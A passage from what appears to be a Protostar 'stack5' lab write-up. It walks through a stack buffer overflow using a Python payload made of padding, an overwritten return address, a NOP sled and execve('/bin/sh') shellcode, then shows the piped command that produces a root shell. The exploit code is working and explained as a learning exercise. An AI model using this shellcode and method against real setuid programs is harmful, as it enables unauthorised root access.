Now to execute the exploit, the shellcode needs to be placed in place of the sig traps.
1
2
3
import struct
a = struct.pack("I", 0xbffff6f0)
print("A"*19*4 + a + "\\\\x90"*100 + "\\\\x31\\\\xc0\\\\x50\\\\x68\\\\x2f\\\\x2f\\\\x73\\\\x68\\\\x68\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x89\\\\xe3\\\\x89\\\\xc1\\\\x89\\\\xc2\\\\xb0\\\\x0b\\\\xcd\\\\x80\\\\x31\\\\xc0\\\\x40\\\\xcd\\\\x80")
By executing this code and piping the output to the executable the shell does work but exits. Execve replaces the current process and thus the current one exits which is connected to the stdin. After this process ends, the stdin gives EOF to the input of the shell that has been executed. This can be confirmed when the /bin/dash is executed and exits. Therefore, to keep the stdin open for the shell, the command cat is used which will help redirect the input to the shell and print the output to stdout.
1
2
3
4
5
user@protostar:~$ (python pp.py; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
Thus the exploit helps execute the shell to get root.